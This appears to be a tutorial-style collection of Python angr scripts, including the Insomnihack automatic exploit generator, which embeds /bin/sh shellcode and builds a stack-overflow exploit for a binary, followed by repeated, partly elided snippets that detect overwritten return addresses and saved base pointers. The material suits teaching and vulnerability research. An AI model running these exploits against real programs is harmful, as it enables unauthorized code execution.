import os
import sys
import angr
import subprocess
import logging
from angr import sim_options as so
l = logging.getLogger("insomnihack.simple_aeg")
# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")
def fully_symbolic(state, variable):
'''
check if a symbolic variable is completely symbolic
'''
for i in range(state.arch.bits):
if not state.solver.symbolic(variable[i]):
return False
return True
def check_continuity(address, addresses, length):
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled
memory.
'''
for i in range(length):
if not address + i in addresses:
return False
return True
def find_symbolic_buffer(state, length):
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
control
'''
# get all the symbolic bytes from stdin
stdin = state.posix.stdin
sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr
def main(binary):
p = angr.Project(binary)
binary_name = os.path.basename(binary)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras)
sm = p.factory.simulation_manager(es, save_unconstrained=True)
# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step()
if len(sm.unconstrained) > 0:
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc):
exploitable_state = u
break
# no exploitable state found, drop them
sm.drop(stash='unconstrained')
l.info("found a state which looks exploitable")
ep = exploitable_state
assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
l.info("attempting to create exploit based off state")
# keep checking if buffers can hold our shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
l.info("found symbolic buffer at %#x", buf_addr)
memory = ep.memory.load(buf_addr, len(shellcode))
sc_bvv = ep.solver.BVV(shellcode)
# check satisfiability of placing shellcode into the address
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv)
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr)
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
print(ep.posix.dumps(0))
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))
print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0
def test():
main('./demo_bin')
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
if __name__ == '__main__':
# silence some annoying logs
logging.getLogger("angr").setLevel("CRITICAL")
l.setLevel("INFO")
if len(sys.argv) > 1:
sys.exit(main(sys.argv[1]))
else:
print("%s: <binary>" % sys.argv[0])
import angr
p = angr.Project("./stack1")
es = p.factory.entry_state()
sm = p.factory.simulation_manager(es, save_unconstrained=True)
while sm.active:
sm.step()
if sm.unconstrained:
for un in sm.unconstrained:
print("stdout:\n",un.posix.dumps(1))
print("stdin:\n",un.posix.dumps(0),"\n")
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp;
ins0=insns[0].insn
ins1=insns[1].insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push
ins0_op0=ins0.reg_name(ins0.operands[0].reg)#rbp
ins1_name=ins1.mnemonic#mov
ins1_op0=ins1.reg_name(ins1.operands[0].reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands[1].reg)#rbp
if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list'][hex(pre_target)]=state.regs.rbp
def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
if flag==2:
........
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val[idx].symbolic:
bits += 1
return bits
def check_end(state):
..........
..........
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list'][hex(pre_target)]
if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return
if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
完整代码 以下是完整的代码
import angr
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val[idx].symbolic:
bits += 1
return bits
def print_pc_overflow_msg(state,byte_s):
print("\n[========find a pc overflow========]")
print("over for ",hex(byte_s),"bytes")
print("[PC]stdout:\n",state.posix.dumps(1))
print("[PC]trigger overflow input:")
print(state.posix.dumps(0))
def print_bp_overflow_msg(state,byte_s):
print("\n[========find a bp overflow========]")
print("over for ",hex(byte_s),"bytes")
print("[PC]stdout:\n",state.posix.dumps(1))
print("[PC]trigger overflow input:")
print(state.posix.dumps(0))
def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
# ins0=insns[0].insn
# ins1=insns[1].insn
# if ins0.mnemonic=="leave" and ins1.mnemonic=="ret":
if flag==2:
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list'][hex(pre_target)]
if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return
if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp;
ins0=insns[0].insn
ins1=insns[1].insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push
ins0_op0=ins0.reg_name(ins0.operands[0].reg)#rbp
ins1_name=ins1.mnemonic#mov
ins1_op0=ins1.reg_name(ins1.operands[0].reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands[1].reg)#rbp
if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list'][hex(pre_target)]=state.regs.rbp
if __name__ == '__main__':
filename="stack1"
p = angr.Project(filename,auto_load_libs=False)
state=p.factory.entry_state()
state.globals['rbp_list']={}
simgr = p.factory.simulation_manager(state,save_unconstrained=True)
while simgr.active:
for act in simgr.active:
# print("||||||||||||||active head||||||||||||")
check_head(act)
check_end(act)
# print("||||||||||||||active end|||||||||||||")
simgr.step()
# print("now->",simgr,"\n")